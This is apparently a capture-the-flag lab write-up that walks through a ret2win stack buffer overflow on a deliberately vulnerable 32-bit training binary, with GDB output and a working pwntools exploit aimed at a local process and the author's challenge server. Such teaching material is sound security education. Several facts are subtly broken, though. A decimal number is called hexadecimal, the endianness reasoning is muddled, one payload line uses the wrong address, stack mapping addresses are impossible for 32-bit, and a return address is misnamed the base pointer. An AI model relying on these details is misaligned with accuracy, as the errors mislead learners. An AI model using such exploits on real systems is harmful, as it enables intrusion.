

# win32

---

This binary is going to be the first introduction into a stack overflow. A **stack overflow** is the process of writing more bytes than are allocated, which causes you to (un)intentionally overwrite data. This vulnerability is caused when the size of the input is not checked, and the stack is not regulated. We will make these two checks before attempting the buffer overflow.

## What is the red line in the instructions?

From the instructions, we see this line:

```
nc vunrotc.cole-ellis.com 1100
```

**nc** (aka netcat) is a protocol that lets a user connect to an IP address at a port. What does that even mean? Let's break it down:

- Every computer has an IP address. It's a unique *public* identifier for that computer.
- Every computer has a list of ports (ranging from 0-65535). These ports host various *services* that can be accessed by other computers. Websites using HTTPS are *served* on port 443. This means that when you access a website, under the hood, you are connecting to a remote computer on port 443.
  - The URL address is a type of mask for the IP address underneath. Every URL has a one-to-one correspondence to an IP address; we use URLs because they are easier to remember.
- The first 1024 ports are reserved for various services (like HTTPS, HTTP, SSH, etc.). The rest of the ports are available for custom setup and use.
- In this case, I set up the *same binary I provided in the challenge* to run on port 1100. When you connect to that port, you are connecting to the binary. When you pass your payload to the port, and it is executed, it properly finds my flag file and prints it. This means, I provided you source code to prepare your payload, and a server for you to execute your payload so I can hide the flag.

If you want to test this out, just run that netcat command in the terminal. You'll notice it prints the same output as running the **win32** binary.

Now let's move on to the binary.

## Checking Security

Let's make the first security check using **checksec**.

```
[*] '/home/joybuzzer/Documents/vunrotc/live/00-introduction/win32/win32'  
Arch:      i386-32-little  
RELRO:     Partial RELRO  
Stack:     No canary found  
NX:        NX disabled  
PIE:       No PIE (0x8048000)  
RWX:       Has RWX segments
```

The first, and probably most important thing, is that this is a **32-bit binary**. This means that when we pass parameters, we are going to pass them **on the stack**. The top of the stack when `call` is reached is the first parameter, second top is second parameter, etc.

We see that all protections are disabled. The most important check for the buffer overflow is that the *canary is disabled*.

Now, let's go into GDB and find where this function takes input. Inside `read_in`:

```
0x080491ec <+43>: call    0x8049050 <gets@plt>
```

We see that this program uses `gets` for input. the `man` pages says this about `gets`:

```
gets()  reads a line from stdin into the buffer pointed
to by s until either a terminating newline or EOF,
which it replaces with a null byte ('\0'). No check
for buffer overrun is performed (see BUGS below).
```

The most important thing about `gets` is that `gets` **does not check the size of the input**. This means that we can write as much as we want to the stack. This is the vulnerability that we are going to exploit.

Now that both vulnerability prerequisites have been checked, let's start figuring out how to execute the buffer overflow.

## Disassembly

For this challenge, I am going to provide the source code to understand what is happening:

```
#include <stdio.h>

void win()
{
    system("cat flag.txt");
}

void read_in()
{
    char buffer[40];
    puts("Can you figure out how to win here?");
    fflush(stdout);
    gets(buffer);
}

int main()
{
    read_in();
    puts("You lose!");
}
```

```
    return 0;
}
```

Let's do our analysis in GDB assuming that we don't have the source code (because typically we won't) and just use it for explaining why things happen.

First we check the functions available:

```
gef> info functions
All defined functions:

Non-debugging symbols:
0x08049000 _init
0x08049040 __libc_start_main@plt
0x08049050 fflush@plt
0x08049060 gets@plt
0x08049070 puts@plt
0x08049080 system@plt
0x08049090 _start
0x080490d0 _dl_relocate_static_pie
0x080490e0 __x86.get_pc_thunk.bx
0x080490f0 deregister_tm_clones
0x08049130 register_tm_clones
0x08049170 __do_global_dtors_aux
0x080491a0 frame_dummy
0x080491a6 win
0x080491d1 read_in
0x0804921e main
0x0804925e __x86.get_pc_thunk.ax
0x08049264 _fini
```

The three functions that we are interested in are `win`, `read_in`, and `main`. `win` logically appears to be the target, so let's figure out what happens there:

```
gef> disas win
Dump of assembler code for function win:
0x080491a6 <+0>: push    ebp
0x080491a7 <+1>: mov     ebp, esp
0x080491a9 <+3>: push    ebx
0x080491aa <+4>: sub     esp, 0x4
0x080491ad <+7>: call    0x804925e <__x86.get_pc_thunk.ax>
0x080491b2 <+12>: add     eax, 0x2e4e
0x080491b7 <+17>: sub     esp, 0xc
0x080491ba <+20>: lea     edx, [eax-0x1ff8]
0x080491c0 <+26>: push    edx
0x080491c1 <+27>: mov     ebx, eax
0x080491c3 <+29>: call    0x8049080 <system@plt>
0x080491c8 <+34>: add     esp, 0x10
0x080491cb <+37>: nop
```

```

0x080491cc <+38>:  mov     ebx,DWORD PTR [ebp-0x4]
0x080491cf <+41>:  leave
0x080491d0 <+42>:  ret

```

`win` makes a call to `system`, which the `man` pages says takes a `char*` (string) argument. We see from the source code this takes the argument `"cat flag.txt"` meaning that it opens the flag file and prints us its contents.

*Why is the program doing this?* Since the program doesn't want to hardcode the flag, it stores it in a separate file (that isn't provided). This is a common technique to prevent people from just running `strings` on the binary to find the flag.

```

gef>  disas main
Dump of assembler code for function main:
0x0804921e <+0>:  lea     ecx,[esp+0x4]
0x08049222 <+4>:  and     esp,0xffffffff
0x08049225 <+7>:  push    DWORD PTR [ecx-0x4]
0x08049228 <+10>:  push    ebp
0x08049229 <+11>:  mov     ebp,esp
0x0804922b <+13>:  push    ebx
0x0804922c <+14>:  push    ecx
0x0804922d <+15>:  call    0x80490e0 <__x86.get_pc_thunk.bx>
0x08049232 <+20>:  add     ebx,0x2dce
0x08049238 <+26>:  call    0x80491d1 <read_in>
0x0804923d <+31>:  sub     esp,0xc
0x08049240 <+34>:  lea     eax,[ebx-0x1fc4]
0x08049246 <+40>:  push    eax
0x08049247 <+41>:  call    0x8049070 <puts@plt>
0x0804924c <+46>:  add     esp,0x10
0x0804924f <+49>:  mov     eax,0x0
0x08049254 <+54>:  lea     esp,[ebp-0x8]
0x08049257 <+57>:  pop     ecx
0x08049258 <+58>:  pop     ebx
0x08049259 <+59>:  pop     ebp
0x0804925a <+60>:  lea     esp,[ecx-0x4]
0x0804925d <+63>:  ret

```

We see that `main` just appears to call `read_in` and then return. So, let's go check `read_in`:

```

Dump of assembler code for function read_in:
0x080491d1 <+0>:  push    ebp
0x080491d2 <+1>:  mov     ebp,esp
0x080491d4 <+3>:  push    ebx
0x080491d5 <+4>:  sub     esp,0x34
0x080491d8 <+7>:  call    0x80490e0 <__x86.get_pc_thunk.bx>
0x080491dd <+12>:  add     ebx,0x2e23
0x080491e3 <+18>:  sub     esp,0xc
0x080491e6 <+21>:  lea     eax,[ebx-0x1fe8]
0x080491ec <+27>:  push    eax

```

```

0x080491ed <+28>:   call    0x8049070 <puts@plt>
0x080491f2 <+33>:   add     esp,0x10
0x080491f5 <+36>:   mov     eax,DWORD PTR [ebx-0x4]
0x080491fb <+42>:   mov     eax,DWORD PTR [eax]
0x080491fd <+44>:   sub     esp,0xc
0x08049200 <+47>:   push    eax
0x08049201 <+48>:   call    0x8049050 <fflush@plt>
0x08049206 <+53>:   add     esp,0x10
0x08049209 <+56>:   sub     esp,0xc
0x0804920c <+59>:   lea     eax,[ebp-0x30]
0x0804920f <+62>:   push    eax
0x08049210 <+63>:   call    0x8049060 <gets@plt>
0x08049215 <+68>:   add     esp,0x10
0x08049218 <+71>:   nop
0x08049219 <+72>:   mov     ebx,DWORD PTR [ebp-0x4]
0x0804921c <+75>:   leave
0x0804921d <+76>:   ret

```

We see that this is where `gets()` is called and where we are going to overflow the buffer. We also notice that `malloc()` has yet to be called, meaning that the data is not being placed on the heap.

To confirm this, we check what's being passed to `gets()`. Let's set a breakpoint right before the call to `gets()` and check:

```

gef> b *(read_in+63)
gef> run
gef> x/wx $esp
0xffffd600: 0xffffd618

```

`x/wx $esp` shows me the value on the top of the stack. In 32-bit, this is how we pass parameters. This means that `0xffffd618` is being passed as the parameter to `gets()`, which is the address of the buffer.

Something peculiar that we notice is that `0xffffd618` (the location we're writing to) is awfully close to the stack pointer (`0xffffd600`). I wonder, are we writing to the stack? The short answer is yes, but let's confirm. Run `info proc mappings` to check the bounds of the various memory segments:

```

0xffffdd000 0xfffffe000      0x21000      0x0  rwxp  [stack]

```

We see that our stack is located between `0xffffdd000` and `0xfffffe000`. Our buffer address is inside this range, meaning we are indeed writing to the stack.

## What power do we have?

Remember earlier that I said that `gets()` does no bounds checking, meaning that we can write as many bytes as we want? There are some important things on the stack right now, let's go check them out.

```
gef> x/20wx $esp
0xffffd600: 0xffffd618 0x00000020 0x00000000 0x080491dd
0xffffd610: 0x00000000 0x00000000 0x01000000 0x0000000b
0xffffd620: 0xf7fc4540 0x00000000 0xf7c184be 0xf7e2a054
0xffffd630: 0xf7fbe4a0 0xf7fd6f80 0xf7c184be 0xf7fbe4a0
0xffffd640: 0xffffd680 0x0804c000 0xffffd658 0x0804923d
```

This looks like a lot of gibberish, but two numbers stand out in particular:

```
gef> x/wx 0xffffd60c
0xffffd60c: 0x080491dd
gef> x/wx 0xffffd64c
0xffffd64c: 0x0804923d
```

*Why these two?* The short answer is that the numbers were different! If we check `info proc mappings` again, we see:

```
0x8049000 0x804a000 0x1000 0x1000 r-xp /home/joybuzzer/win32
```

This is *executable* memory located inside the `win32` file. This is the **code segment**. This means that these locations are addresses in the code. Let's check what's here:

```
gef> x/i 0x080491dd
0x080491dd <read_in+12>: add    ebx,0x2e23
gef> x/i 0x0804923d
0x0804923d <main+31>: sub    esp,0xc
```

We see that these both point to instructions. The first one points to somewhere at the top of `read_in`, and the second one back in `main`. The first one is actually our **base pointer** (aka `rbp`) and the second one is the **return pointer**.

Let's understand how this happened.

## Stack Frame

When a function is called, the following happens:

1. The **return pointer** is pushed onto the stack. This is the address of the next instruction to execute after the function returns.
2. The code then goes to the location referenced in the `call` instruction.
3. The **base pointer** is pushed onto the stack. This is the address of the previous base pointer. We see that here in the code:

```
gef> disas read_in
Dump of assembler code for function read_in:
0x080491d1 <+0>: push    ebp
0x080491d2 <+1>: mov     ebp, esp
0x080491d4 <+3>: push    ebx
0x080491d5 <+4>: sub     esp, 0x34
```

4. The stack pointer is moved to the base pointer. This is the new base pointer.
5. The stack pointer is moved down to make space for local variables.
6. The function is executed.

When the function returns, the following happens:

```
0x08049215 <+68>: add     esp, 0x10
0x08049218 <+71>: nop
0x08049219 <+72>: mov     ebx, DWORD PTR [ebp-0x4]
0x0804921c <+75>: leave
0x0804921d <+76>: ret
```

1. The stack pointer is moved to the base pointer.
2. The base pointer is popped off the stack.
3. The return pointer is popped off the stack and the code jumps to that location.

How do we leverage this?

- We know that the return pointer is at some location in memory. When we call `read_in`, we subtract from the stack pointer.
- We are going to write some number of bytes inside the space *that was just allocated* for the function.
- If we write enough bytes (because the program isn't checking), we can overwrite the return pointer that was placed on the stack.
- Without knowing any better, when the function terminates, it will go find where it stored the return pointer and go there. **It does not verify that the return pointer is a valid place in memory, or that it's the same one it stored originally, it just goes there.**

Let's make this happen.

## Exploitation

We are still breakpointed at the call to `gets()`. Let's check the stack again:

```
gef> x/wx $esp
0xffffd600: 0xffffd618
```

This is the address we are going to write to. As a reminder, this is where we found the return pointer:

```
gef> x/wx $esp+0x4c
0xffffd64c: 0x0804923d
```

This means that in order to overwrite the return pointer, we need to write `0xffffd600` to `0xffffd64c`. How many bytes is this? Let's get some Python practice:

```
$ python3 -c "print(0xffffd64c-0xffffd600)"
52
```

This means that we need to write `52` bytes, and **then** we need to overwrite the return pointer. But where do we want to go? *The win function!* Let's get that address:

```
gef> info functions win
All functions matching regular expression "win":

Non-debugging symbols:
0x080491a6 win
```

Let's use Python to make this a payload:

```
$ python3 -c "print('A' * 52 + str(0x080491a6))"
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA134517158
```

And what happens when we run this?

```
$ ./win32
Can you figure out how to win here?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA134517158
Segmentation fault (core dumped)
```

We... crashed. What does that mean? That means we either corrupted memory, or we tried to execute memory that we weren't allowed to. Let's retry this in GDB and watch execution:

```
[#0] Id 1, Name: "win32", stopped 0x35343331 in ?? (), reason: SINGLE STEP
```

It's saying that it reached the address `0x35343331` and stopped. What does this mean?

1. We now know that we control execution, and were able to successfully deviate execution to another spot in memory.



2. We didn't quite do it right, because we didn't get to the `win` function. We need to figure out what happened.

Let's dive deeper into what is happening here:

1. We notice that `0x353433331` is the hexadecimal of `5431`, which is the start of what's in the payload. We see it's backwards, because **the binary is written in little-endian architecture**.
2. We also notice that `134517158` is the hexadecimal of `080491a6`, which is the address of `win`.

*How can we get the hexadecimal to appear correctly in the payload?*

This is where `pwn`tools comes in. `Pwn`tools has a packaging function that allows for the packaging of data into the correct size and format. In 32-bit, this function is `p32()`. We modify the exploit to be:

```
$ python3 -c "from pwn import *; print(b'A' * 52 + p32(0x08049196))"

b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa6\x91\x04\x08'
```

However, this won't copy right. Thankfully, `pwn`tools comes to save us again and gives us a way to send this payload to the binary. Consider the following exploit:

```
from pwn import *

proc = process('./win32')

padding = b'A' * 0x34

f_win = 0x080491a6

payload = p32(f_win)

buf = padding + payload
proc.sendline(buf)
proc.interactive()
```

Let's break this exploit down:

- `from pwn import *` -- This imports the `pwn`tools library into the program, just like a `#include` in C-type languages.
- `proc = process('./win32')` -- This creates a process object that runs the `win32` binary.
- `padding = b'A' * 0x34` -- This creates a variable that is 52 bytes of `A` characters. Note that you could use any characters, but `A` (`0x41`) is a common choice.
- `f_win = 0x080491a6` -- This creates a variable that is the address of the `win` function. It's common to store your addresses as variables so it's easier to read.
- `payload = p32(f_win)` -- This creates a variable that is the address of the `win` function, but in the correct format for the binary.
- `buf = padding + payload` -- This is the final string that will get sent off to the process.

- `proc.sendline(buf)` -- This sends the payload to the process.
- `proc.interactive()` -- This allows us to interact with the process after the payload is sent.

Let's run this exploit:

```
$ python3 win32.py
[+] Starting local process './win32': pid 17532
[*] Switching to interactive mode
Can you figure out how to win here?
cat: flag.txt: No such file or directory
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './win32' stopped with exit code -11 (SIGSEGV) (pid 17532)
```

We see that `cat` gets called! That means our exploit worked, but since we're running locally, there is no `flag.txt` to find. Let's switch our process to target the remote server:

```
proc = remote('vunrotc.cole-ellis.com', 1100)
```

Now let's run this:

```
[+] Opening connection to vunrotc.cole-ellis.com on port 1100: Done
[*] Switching to interactive mode
Can you figure out how to win here?
flag{welcome_to_binex}
[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Closed connection to vunrotc.cole-ellis.com port 1100
```

As we can see, the flag is printed!